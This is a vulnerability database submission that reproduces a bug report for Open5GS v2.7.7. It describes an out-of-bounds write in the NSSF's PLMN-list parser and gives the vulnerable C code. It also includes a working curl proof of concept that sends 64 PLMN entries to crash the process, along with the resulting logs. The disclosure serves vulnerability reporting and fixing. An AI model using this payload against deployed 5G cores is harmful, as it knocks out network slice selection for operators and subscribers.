提交 #808424: Open5gs NSSF v2.7.7 Denial of Service

### Open5GS Release, Revision, or Tag

v2.7.7

### Steps to reproduce

### Description

NSSF crashes in the common discovery query parser when either
`target-plmn-list` or `requester-plmn-list` contains more than
`OGS_MAX_NUM_OF_PLMN` entries.

The discovery option stores both PLMN lists in fixed-size arrays of length 12:

```c
#define OGS_MAX_NUM_OF_PLMN 12
...
ogs_plmn_id_t target_plmn_list[OGS_MAX_NUM_OF_PLMN];
ogs_plmn_id_t requester_plmn_list[OGS_MAX_NUM_OF_PLMN];
```

However, request parsing feeds both query parameters directly into
`ogs_sbi_parse_plmn_list()`, which copies every decoded PLMN into the provided
fixed-size array without any bounds check:

```c
ogs_plmn_id_build(plmn_list + num_of_plmn_list,
atoi(PlmnId->mcc), atoi(PlmnId->mnc), strlen(PlmnId->mnc));
num_of_plmn_list++;
```

As a result, sufficiently large PLMN lists corrupt memory and terminate the
NSSF process.

### Steps to reproduce

```bash
IP=$(docker inspect -f '{{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}}' nssf)

payload=$(python3 - <<'PY'
import json
print(json.dumps([{"mcc":"001","mnc":"01"} for _ in range(64)], separators=(",", ":")))
PY
)

curl --http2-prior-knowledge -m 5 -sS -i --get \
"http://$IP/nnssf-nsselection/v2/network-slice-information" \
--data-urlencode 'nf-id=test-amf' \
--data-urlencode 'nf-type=AMF' \
--data-urlencode 'slice-info-request-for-pdu-session={"sNssai":{"sst":1,"sd":"000001"},"roamingIndication":"NON_ROAMING"}' \
--data-urlencode "target-plmn-list=$payload"
```

Then check:

```bash
docker inspect -f '{{.State.Status}} {{.State.ExitCode}} {{.State.FinishedAt}} {{.State.OOMKilled}}' nssf
docker logs --tail 20 nssf
```

### Logs

```shell
curl: (56) Recv failure: Connection reset by peer

exited 139 2026-04-10T17:59:10.284706022Z false

04/10 17:58:55.402: [sbi] INFO: [f0f78e3c-3506-41f1-b988-019b274783de] Subscription created until 2026-04-11T17:58:55.402798+00:00 [duration:86400000000,validity:86400.000000,patch:43200.000000] (../lib/sbi/nnrf-handler.c:888)

No graceful validation error or assertion message was emitted before the process exited.
```

### Expected behaviour

NSSF should reject oversized PLMN-list discovery parameters with a normal HTTP error response and remain running.

### Observed Behaviour

The request aborts the connection and the NSSF process exits with code `139`, consistent with an out-of-bounds write leading to a segmentation fault.

### eNodeB/gNodeB

Not required.

### UE Models and versions

Not required.

• 来源: ⚠️ https://github.com/open5gs/open5gs/issues/4434
• 用户: LinZiyu (UID 94035)
• 提交: 2026-04-20 20時14分 (1 月前)
• 管理: 2026-05-07 18時57分 (17 days later)
• 状态: 重复
• VulDB条目: 361908 [Open5GS 直到 2.7.7 NSSF /lib/sbi/conv.c ogs_sbi_parse_plmn_list 拒绝服务]
• 积分: 0